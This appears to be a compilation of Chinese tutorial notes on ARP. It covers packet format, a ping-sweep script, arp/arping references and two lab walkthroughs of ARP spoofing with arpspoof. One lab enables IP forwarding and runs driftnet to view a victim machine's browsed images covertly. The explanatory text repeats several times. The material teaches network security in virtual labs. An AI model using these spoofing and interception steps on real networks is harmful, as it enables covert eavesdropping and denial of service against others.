一.ARP协议

地址解析协议，即ARP（Address Resolution Protocol），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存；由此攻击者就可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。

二.ARP数据报形式



第一次ARP请求是以太网目的地址为0xFFFFFFFFFFFF为广播路由所在以太网上所以主机都应答，Mac层根据第三个字段帧类型判断将数据交个上层的具体协议其中0x0800代表IP协议0x0806代表ARP协议0x0835代表RARP协议。其实后面的28字节才是真正ARP协议内容，前14个字节为Mac帧的首部。ARP协议的个字段代表的含义顾名思义其中OP代表是ARP请求还是ARP应答其中1代表ARP请求2代表ARP应答



三.实例



例1：Linux中用ping指令来测试网络的连通行

比如测试主机是否能连接到www.baidu.com  
ping -c1 www.baidu.com

结果图： 




例2：执行这个脚本检测当前主机所连接的路由器上连接的其他主机并且获得其Mac地址



#/bin/bash

i=1
count=0

while [ $i -le 254 ]
do  
     if [$count -gt  20 ];then
         count=0
         sleep 2
     fi  
     ping -c1 "192.168.58.$i" &
     let i++
     let count++
done

再执行以下指令：chmod u+x text.sh//因为text.sh是不可执行文件，故要使用chmod

结果图： 

Arp欺骗
 
地址解析协议，即ARP（AddressResolution Protocol），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存；由此攻击者就可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。
 条件：kali虚拟机，windows7靶机虚拟机
寻找目标主机
ifconfig                              
可以得到本机ip是192.168.43.242，内网ip为192.168.43.xx，子网掩码为255.255.255.0
 （255.255.255.0换成二进制是24个1，表示为/24，所以0/24代表子网掩码为255.255.255.0以下的所有主机）
扫描内网中的主机
fping –asg 内网号.0/24
或者nmap –sP内网号.0/24

192.168.43.242是本机，192.168.43.50是主机，则192.168.43.72就是目标机的ip
由于两台虚拟机都是桥接模式，桥接模式下，VMWare虚拟出来的操作系统就像是局域网中的一台独立的主机（主机和虚拟机处于对等地位）
在NAT模式下，虚拟系统需要借助NAT(网络地址转换)功能，通过宿主机器所在的网络来访问公网。也就是说，使用NAT模式虚拟系统可把物理主机作为路由器访问互联网。
 
 
这时候可以进行arp欺骗了
arpspoof -i eth0 -t 目标ip 主机ip（路由器）
使用这个命令获取到从目标ip 发往 主机ip（路由器）的流量
arpspoof -i eth0–t 192.168.43.72 192.168.43.1
 
开始发送请求包
 
Windows7这边已经断网

ctrl+c  取消发送包

 
 
Windows7正常上网


 
arp -a出现的信息是指当前电脑所缓存的mac地址和ip地址对应表
windows7

当前网关mac地址是 02-1a-11-f1-3c-c5
Kali虚拟机也就是192.168.43.242的mac地址是00-0c-29-8d-b1-86
 
当arp欺骗包发送后


网关mac地址变为00-0c-29-8d-b1-86，就是kali虚拟机的mac地址
 
Arp欺骗就是当windows7虚拟机发送流量请求的时候，kali直接进行回应，将自己的mac地址返回给windows7，windows7收到的回应不是能上网的网关mac的回应，自然就不能上网
 
 
 
 
流量转发
查看目标主机在线浏览的图片，并且让目标主机察觉不到。
 
首先开启流量转发功能：出于安全考虑，Linux系统默认是禁止数据包转发的。
所谓转发即当主机拥有多于一块的网卡时，其中一块收到数据包，根据数据包的目的ip地址将包发往本机另一网卡，
该网卡根据路由表继续发送数据包。这通常就是路由器所要实现的功能。
配置Linux系统的ip转发功能，首先保证硬件连通，然后打开系统的转发功能
less /proc/sys/net/ipv4/ip_forward，该文件内容为0，表示禁止数据包转发，1表示允许，将其修改为1。可使用命令echo 1 >> /proc/sys/net/ipv4/ip_forward修改文件内容，重启网络服务或主机后效果不再。
若要其自动执行，可将命令echo 1 >> /proc/sys/net/ipv4/ip_forward写入脚本/etc/rc.d/rc.local 或者 在/etc/sysconfig/network脚本中添加 FORWARD_IPV4="YES"
 cat /proc/sys/net/ipv4/ip_forward查看流量转发状态

 
arp欺骗
arpspoof -i eth0 -t 目标ip 主机ip（路由器）
driftnet –i eth0 打开窗口流量监控

 
结果


 成功
渗透菜鸟表示有什么不对的求大佬能指正带路

介绍：
由于局域网的网络流通不是根据IP地址进行，而是根据MAC地址进行传输。所以，MAC地址在A上被伪造成一个不存在的MAC地址，这样就会导致网络不通，A不能Ping通C！这就是一个简单的ARP欺骗。
第一种ARP欺骗的原理是——截获网关数据。它通知路由器一 系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址， 造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关，让被它欺骗的PC向假网关发数据，而不是通过正常的路由器途径 上网。在PC看来，就是上不了网了，“网络掉线了”
测试环境：

操作步骤：
1、在攻击主机B上安装arpspoof，sudo apt-get install dsniff
2、主机B用作ARP攻击欺骗，发起ARP包欺骗主机A网关MAC为客户机B网卡MAC：
arpspoof -t 192.168.2.166 192.168.2.254


18:3:73:43:af:7b b8:ae:ed:96:4c:54 0806 42: arp reply 192.168.2.254 is-at 18:3:73:43:af:7b

18:3:73:43:af:7b b8:ae:ed:96:4c:54 0806 42: arp reply 192.168.2.254 is-at 18:3:73:43:af:7b

18:3:73:43:af:7b b8:ae:ed:96:4c:54 0806 42: arp reply 192.168.2.254 is-at 18:3:73:43:af:7b
3、主机B欺骗网关主机A的MAC地址为主机B的MAC地址
arpspoof -t  192.168.2.254 192.168.2.166


18:3:73:43:af:7b 1c:df:f:b7:19:7f 0806 42: arp reply 192.168.2.166 is-at 18:3:73:43:af:7b

18:3:73:43:af:7b 1c:df:f:b7:19:7f 0806 42: arp reply 192.168.2.166 is-at 18:3:73:43:af:7b

18:3:73:43:af:7b 1c:df:f:b7:19:7f 0806 42: arp reply 192.168.2.166 is-at 18:3:73:43:af:7b
4、主机B开启数据包转发功能
echo 1 >/proc/sys/net/ipv4/ip_forward
 
预期结果：
网关tracert 主机A(需要先安装软件包  intsall traceroute )
traceroute 192.168.2.166
traceroute to 192.168.2.166 (192.168.2.166), 30 hops max, 60 byte packets

 1  cdos.local (192.168.2.166)  0.348 ms  0.317 ms  0.306 ms

1.基本原理
地址解析协议，即ARP（Address Resolution Protocol），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存；由此攻击者就可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。
2.arp命令
arp命令用来管理ARP缓存
arp -v 详细模式
$ arp -v 
Address                  HWtype  HWaddress          Flags Mask            Iface 
xxxxx                    ether  00:12:da:46:34:00  C                    eth0 
10.1.1.17                ether  00:16:3e:f2:38:33  C                    eth1 
10.1.1.12                ether  00:16:3e:f2:37:6b  C                    eth1 
Entries: 3 Skipped: 0 Found: 3
arp -n 显示数字地址
$ arp -n 
Address                  HWtype  HWaddress          Flags Mask            Iface 
xxxxxxxx                ether  00:12:da:46:34:00  C                    eth0 
10.1.1.13                ether  00:16:3e:f2:37:7d  C                    eth1 
10.1.1.18                ether  00:16:3e:f2:38:35  C                    eth1
arp  -a 查看指定主机的IP和MAC对应关系，默认显示全部
$ arp -a 
? (xxxxxxxxx) at 00:12:da:46:34:00 [ether] on eth0 
? (10.1.1.13) at 00:16:3e:f2:37:7d [ether] on eth1 
? (10.1.1.18) at 00:16:3e:f2:38:35 [ether] on eth1 
[gintama@gintama-taiwan-lb1 ~]$ arp -a 10.1.1.18 
? (10.1.1.18) at 00:16:3e:f2:38:35 [ether] on eth1
arp -d 删除指定主机的IP和MAC对应关系
$ sudo arp -d 10.1.1.18
arp -i 只显示指定网卡的IP和MAC对应关系
$ arp -i eth0 
Address                  HWtype  HWaddress          Flags Mask            Iface 
xxxxxxxxxxxxx            ether  00:12:da:46:34:00  C                    eth0 
$ arp -i eth1 
Address                  HWtype  HWaddress          Flags Mask            Iface 
10.1.1.13                ether  00:16:3e:f2:37:7d  C                    eth1 
10.1.1.18                ether  00:16:3e:f2:38:35  C
arp -s hostname hw_addr, --set hostname    手动设置IP和MAC的对应关系
$ sudo arp -s 10.1.1.18 00:16:3e:f2:38:35
3.arping命令
 arping [ -AbDfhqUV]  [ -c count]  [ -w deadline]  [ -s source]  -I interface destination
想目标主机发送ARP请求
-A 使用ARP REPLAY替代ARP REQUEST报文
$ sudo arping -A  -I eth1  -s 10.1.1.12  10.1.1.19 
ARPING 10.1.1.19 from 10.1.1.12 eth1 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  627.781ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  988.125ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  827.356ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  837.510ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  303.940ms
-b 只发送MAC层面的ARP广播报文，正常情况下，arping先以发送ARP广播报文方式启动，当收到ARP REPLY报文后就转成单播
$ sudo arping -b  -I eth1  -s 10.1.1.12  10.1.1.19 
ARPING 10.1.1.19 from 10.1.1.12 eth1 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  0.764ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  0.843ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  0.744ms
-c 指定发送ARP REQUEST报文个数.如果再指定-w参数，arping将一直等待ARP REPLY报文，直到超时时间截止
$ sudo arping -c 5  -I eth1  -s 10.1.1.12  10.1.1.19 
ARPING 10.1.1.19 from 10.1.1.12 eth1 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  0.771ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  0.744ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  0.741ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  0.806ms 
Unicast reply from 10.1.1.19 [00:16:3E:F2:38:3B]  0.731ms 
Sent 5 probes (1 broadcast(s)) 
Received 5 response(s)
-w deadline
以秒为单位指定超时时间。
-D 重复地址检查模式
$ sudo arping -D 10.1.1.200 
ARPING 10.1.1.200 from 0.0.0.0 eth0 
Unicast reply from 10.1.1.200 [00:16:3E:F2:37:6B]  0.692ms 
Sent 1 probes (1 broadcast(s)) 
Received 1 response(s)
-I 指定发送ARP REQUEST的网卡
-s 指定源地址
 如果使用DAD模式，设置成为0.0.0.0
 如果使用Unsolicited ARP mode，设置成为目的地址
 其他情况下，根据路由表计算
4.阻止ARP flux
ARP协议用于将IP地址转换成为物理地址，默认情况下，拥有多块网卡的Linux主机会响应该主机的任意网卡上接收到的任意网卡上绑定的IP地址的ARP请求。
假设一台Linux主机拥有两块网卡A和B，IP地址和MAC地址分别是
主机A  
IP  10.10.41.102
MAC  08:00:27:4B:63:93
主机B
IP  10.10.41.142
MAC  08:00:27:47:78:55
现在使用arping命令分别向两个IP发送ARP REQUEST
$ sudo arping 10.10.41.142 
ARPING 10.10.41.142 from 10.10.41.17 eth0 
Unicast reply from 10.10.41.142 [08:00:27:4B:63:93]  1.721ms 
Unicast reply from 10.10.41.142 [08:00:27:4B:63:93]  1.774ms 
Unicast reply from 10.10.41.142 [08:00:27:4B:63:93]  2.626ms 
Unicast reply from 10.10.41.142 [08:00:27:4B:63:93]  1.174ms 
Unicast reply from 10.10.41.142 [08:00:27:4B:63:93]  1.164ms 
^CSent 5 probes (1 broadcast(s)) 
Received 5 response(s) 
$ sudo arping 10.10.41.102 
ARPING 10.10.41.102 from 10.10.41.17 eth0 
Unicast reply from 10.10.41.102 [08:00:27:4B:63:93]  1.988ms 
Unicast reply from 10.10.41.102 [08:00:27:4B:63:93]  1.266ms 
Unicast reply from 10.10.41.102 [08:00:27:4B:63:93]  1.478ms 
Unicast reply from 10.10.41.102 [08:00:27:4B:63:93]  1.243ms 
^CSent 4 probes (1 broadcast(s)) 
Received 4 response(s)
可以看到10.10.41.142这个IP返回的不是它该有的MAC地址